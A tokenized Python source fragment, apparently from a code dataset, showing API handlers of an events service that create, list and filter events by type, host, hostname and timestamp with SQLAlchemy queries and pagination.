"Event_", "._", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", ",_", "hosts_", "[_", "0_", "]_", ",_", "user_", ",_", "event", "\\u", "type_", ",_", "note_", "=_", "note_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Int", "egr", "it", "y", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Conflict_", "(_", "err_", "._", "orig_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "exc_", "._", "Validat", "ion", "Error_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "err_", "._", "message_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Flu", "shing", " ", "and", " ", "committ", "ing", "\"_", "._", "format_", "(_", "tx_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "session_", "._", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Flu", "shed", "\"_", "._", "format_", "(_", "tx_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "session_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Committe", "d", "\"_", "._", "format_", "(_", "tx_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "hosts_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "json_", "=_", "event_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "json_", "[_", "\"", "href", "\"_", "]_", "=_", "\"/", "api", "/", "v1", "/", "events", "/{}\"_", "._", "format_", "(_", "event_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "created_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"/", "api", "/", "v1", "/", "events", "/{}\"_", "._", "format_", "(_", "event_", "._", "id_", ")_", ",_", "json_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "we", " ", "created", " ", "many", " ", "events", ",", " ", "we", " ", "need", " ", "to", " ", "look", " ", "them", " ", "up", " ", "by", " ", "the", " ", "TX", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "number", " ", "to", " ", "figure", " ", "out", " ", "what", " ", "the", "y", " ", "wer", "e", " ", "sinc", "e", " ", "the", " ", "wer", "e", " ", "created", " ", "in", " ", "bulk_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "created", "\\u", "events_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Event_", ")_", "._", "filter_", "(_", "Event_", "._", "tx_", "==_", "tx_", ")_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "created_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "events", "\"_", ":_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "event_", "._", "to", "\\u", "dict_", "(_", "self_", "._", "href", "\\u", "prefix_", ")_", "for_", "event_", "in_", "created", "\\u", "events_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "total", "Event", "s", "\"_", ":_", "len_", "(_", "created", "\\u", "events_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"", "EVENTS", " ", "[{}]", ":", " ", "Creat", "ed", " ", "event", " ", "{}", " ", "{}", " ", "for", " ", "{}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "tx_", ",_", "category_", ",_", "state_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\",", " ", "\"_", "._", "join_", "(_", "hostnames", "_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Event", "s", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Get", " ", "all", " ", "Event", "s", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", ":", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "events", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "limit", "\":", " ", "10", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "offset", "\":", " ", "0", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "total", "Event", "s", "\":", " ", "10", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "events", "\":", " ", "[", "\\", "10", ";", " ", " ", "{", "\\", "10", ";", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", "\"", "host", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", "\"", "timestamp", "\":", " ", "\"", "201", "5", "-0", "6", "-0", "1", " ", "1", "2", ":", "11", ":", "01", "\",", "\\", "10", ";", " ", " ", "\"", "user", "\":", " ", "\"", "jon", "ny", "\",", "\\", "10", ";", " ", " ", "\"", "event", "Type", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", "\"", "note", "\":", " ", "\"", "Event", " ", "note", "\",", "\\", "10", ";", " ", " ", "},", "\\", "10", ";", " ", " ", "...", "\\", "10", ";", " ", " ", " ", " ", "],", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "event", "Type", "Id", ":", " ", "(*", "option", "al", "/", "multiple", "*)", " ", "Filter", " ", "Event", "s", " ", "by", " ", "Event", "Type", " ", "id", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "host", "Id", ":", " ", "(*", "option", "al", "*)", " ", "Filter", " ", "Event", "s", " ", "by", " ", "Host", " ", "id", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "host", "name", ":", " ", "(*", "option", "al", "*)", " ", "Filter", " ", "Event", "s", " ", "by", " ", "Host", "'", "s", " ", "host", "name", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "limit", ":", " ", "(*", "option", "al", "*)", " ", "Limit", " ", "result", " ", "to", " ", "N", " ", "resource", "s", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "offset", ":", " ", "(*", "option", "al", "*)", " ", "Ski", "p", " ", "the", " ", "first", " ", "N", " ", "resource", "s", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "after", ":", " ", "(*", "option", "al", "*)", " ", "On", "ly", " ", "select", " ", "events", " ", "at", " ", "and", " ", "after", " ", "a", " ", "give", "n", " ", "timestamp", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "bef", "ore", ":", " ", "(*", "option", "al", "*)", " ", "On", "ly", " ", "select", " ", "events", " ", "bef", "ore", " ", "a", " ", "give", "n", " ", "timestamp", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "int", " ", "after", "Event", "Type", ":", " ", "(*", "option", "al", "*)", " ", "On", "ly", " ", "select", " ", "events", " ", "at", " ", "and", " ", "after", " ", "the", " ", "last", " ", "event", " ", "of", " ", "a", " ", "give", "n", " ", "event", " ", "type", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "host", "Query", ":", " ", "(*", "option", "al", "*)", " ", "On", "ly", " ", "select", " ", "events", " ", "tha", "t", " ", "match", " ", "a", " ", "give", "n", " ", "host", " ", "query", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "event", "\\u", "type", "\\u", "id_", "=_", "self_", "._", "get", "\\u", "arguments_", "(_", "\"", "event", "Type", "Id", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host", "\\u", "id_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "host", "Id", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hostname_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "host", "name", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "after", "\\u", "event", "\\u", "type_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "after", "Event", "Type", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host", "\\u", "query_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "host", "Query", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "after", "\\u", "time_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "after", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "after", "\\u", "time_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "after", "\\u", "time_", "=_", "parser_", "._", "parse_", "(_", "after", "\\u", "time_", ",_", "year", "first_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "after", "\\u", "time_", "=_", "after", "\\u", "time_", "._", "replace_", "(_", "tzinfo_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bef", "ore", "\\u", "time_", "=_", "self_", "._", "get", "\\u", "argument_", "(_", "\"", "bef", "ore", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "bef", "ore", "\\u", "time_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bef", "ore", "\\u", "time_", "=_", "parser_", "._", "parse_", "(_", "bef", "ore", "\\u", "time_", ",_", "year", "first_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bef", "ore", "\\u", "time_", "=_", "bef", "ore", "\\u", "time_", "._", "replace_", "(_", "tzinfo_", "=_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "events_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Event_", ")_", "._", "order", "\\u", "by_", "(_", "desc_", "(_", "Event_", "._", "timestamp_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "event", "\\u", "type", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "events_", "=_", "events_", "._", "filter_", "(_", "Event_", "._", "event", "\\u", "type", "\\u", "id_", "._", "in\\u_", "(_", "event", "\\u", "type", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "host", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "events_", "=_", "events_", "._", "filter", "\\u", "by_", "(_", "host", "\\u", "id_", "=_", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "found", "\\u", "host_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hostname_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "found", "\\u", "host_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "session_", "._", "query_", "(_", "Host_", ")_", "._", "filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Host_", "._", "hostname_", "==_", "hostname_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "one_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "sqlalchemy_", "._", "orm_", "._", "exc_", "._", "No", "Result", "Found_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "No", " ", "host", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "hostname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "events_", "=_", "events_", "._", "filter_", "(_", "Event_", "._", "host_", "==_", "found", "\\u", "host_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hostnames", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "host", "\\u", "query_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "Plug", "in", "Helper_", "._", "request", "\\u", "get_", "(_", "params_", "=_", "{_", "\"", "query", "\"_", ":_", "host", "\\u", "query_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "._", "status", "\\u", "code_", "==_", "200_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "status", "\"_", "]_", "==_", "\"", "ok", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "hostname_", "in_", "response_", "._", "json_", "(_", ")_", "[_", "\"", "results", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "hostnames", "_", "._", "append_", "(_", "hostname_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logging_", "._", "info_", "(_", "\"", "found", " ", "host", " ", "{}\"_", "._", "format_", "(_", "hostname_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "Ba", "d", " ", "host", " ", "query", ":", " ", "{}\"_", "._", "format_", "(_", "host", "\\u", "query_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hostnames", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "events_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "events_", "._", "join_", "(_", "Event_", "._", "host_", ")_", "._", "filter_", "(_", "Host_", "._", "hostname_", "._", "in\\u_", "(_", "hostnames", "_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "after", "\\u", "time_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "info_", "(_", "after", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "events_", "=_", "events_", "._", "filter_", "(_", "Event_", "._", "timestamp_", ">=_", "after", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "bef", "ore", "\\u", "time_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "info_", "(_", "bef", "ore", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "events_", "=_", "events_", "._", "filter_", "(_", "Event_", "._", "timestamp_", "<_", "bef", "ore", "\\u", "time_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "after", "\\u", "event", "\\u", "type_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "find", " ", "most", " ", "recent", " ", "event", " ", "of", " ", "tha", "t", " ", "type", " ", "for", " ", "the", " ", "give", "n", " ", "host_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "want", " ", "all", " ", "events", " ", "great", "er", " ", "than", " ", "or", " ", "equal", " ", "to", " ", "the", " ", "time", " ", "for", " ", "tha", "t", " ", "event_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subquery", "_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Event_", ")_", "._", "order", "\\u", "by_", "(_", "desc_", "(_", "Event_", "._", "timestamp_", ")_", ")_", "._", "filter_", "(_", "Event_", "._", "event", "\\u", "type", "\\u", "id_", "==_", "after", "\\u", "event", "\\u", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "host", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subquery", "_", "=_", "subquery", "_", "._", "filter", "\\u", "by_", "(_", "host", "\\u", "id_", "=_", "host", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "found", "\\u", "host_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subquery", "_", "=_", "subquery", "_", "._", "filter_", "(_", "Event_", "._", "host_", "==_", "found", "\\u", "host_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hostnames", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "subquery", "_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "subquery", "_", "._", "join_", "(_", "Event_", "._", "host_", ")_", "._", "filter_", "(_", "Host_", "._", "hostname_", "._", "in\\u_", "(_", "hostnames", "_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "event_", "=_", "subquery", "_", "._", "first_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "event_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Ba", "d", "Request_", "(_", "\"", "No", " ", "event", " ", "of", " ", "type", " ", "{}", " ", "found", "\"_", "._", "format_", "(_", "after", "\\u", "event", "\\u", "type_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "events_", "=_", "events_", "._", "from", "\\u", "self_", "(_", ")_", "._", "filter_", "(_", "Event_", "._", "id_", ">=_", "event_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "offset_", ",_", "limit_", ",_", "expand_", "=_", "self_", "._", "get", "\\u", "pagina", "tion", "\\u", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "events_", ",_", "total_", "=_", "self_", "._", "paginate", "\\u", "query_", "(_", "events_", ",_", "offset_", ",_", "limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "events_", "=_", "events_", "._", "from", "\\u", "self_", "(_", ")_", "._", "order", "\\u", "by_", "(_", "Event_", "._", "timestamp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "json_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "limit", "\"_", ":_", "limit_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "offset", "\"_", ":_", "offset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "total", "Event", "s", "\"_", ":_", "total_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "events", "\"_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "event_", "._", "to", "\\u", "dict_", "(_", "base", "\\u", "uri_", "=_", "self_", "._", "href", "\\u", "prefix_", ",_", "expand_", "=_", "set_", "(_", "expand_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "event_", "in_", "events_", "._", "all_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "success_", "(_", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Event", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Event", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "get_", "(_", "self_", ",_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Get", " ", "a", " ", "specific", " ", "Event", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "Request", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "GET", " ", "/", "api", "/", "v1", "/", "events", "/", "1", "/", " ", "HTTP", "/", "1.1", "\\", "10", ";", " ", " ", " ", " ", "Host", ":", " ", "local", "host", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", "response", ":*", "*", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "..", " ", "source", "code", "::", " ", "http", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\", "10", ";", " ", " ", " ", " ", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "{", "\\", "10", ";", " ", " ", " ", " ", "\"", "status", "\":", " ", "\"", "ok", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "host", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "timestamp", "\":", " ", "\"", "201", "5", "-0", "6", "-0", "1", " ", "1", "2", ":", "11", ":", "01", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "user", "\":", " ", "\"", "jon", "ny", "\",", "\\", "10", ";", " ", " ", " ", " ", "\"", "event", "Type", "Id", "\":", " ", "1", ",", "\\", "10", ";", " ", " ", " ", " ", "\"", "note", "\":", " ", "\"", "Event", " ", "note", "\",", "\\", "10", ";", " ", " ", " ", " ", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "param", " ", "id", ":", " ", "id", " ", "of", " ", "the", " ", "Event", " ", "to", " ", "retrieve", "\\", "10", ";", " ", " ", " ", " ", ":", "type", " ", "id", ":", " ", "int", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "query", " ", "string", " ", "expand", ":", " ", "(*", "option", "al", "*)", " ", "support", "s", " ", "host", "s", ",", " ", "event", "types", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "The", " ", "request", " ", "was", " ", "success", "ful", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "401", ":", " ", "The", " ", "request", " ", "was", " ", "made", " ", "with", "out", " ", "bei", "ng", " ", "logged", " ", "in", ".", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "404", ":", " ", "The", " ", "Event", "Type", " ", "was", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset_", ",_", "limit_", ",_", "expand_", "=_", "self_", "._", "get", "\\u", "pagina", "tion", "\\u", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "self_", "._", "session_", "._", "query_", "(_", "Event_", ")_", "._", "filter", "\\u", "by_", "(_", "id_", "=_", "id_", ")_", "._", "scalar_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "event_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "exc_", "._", "Not", "Found_", 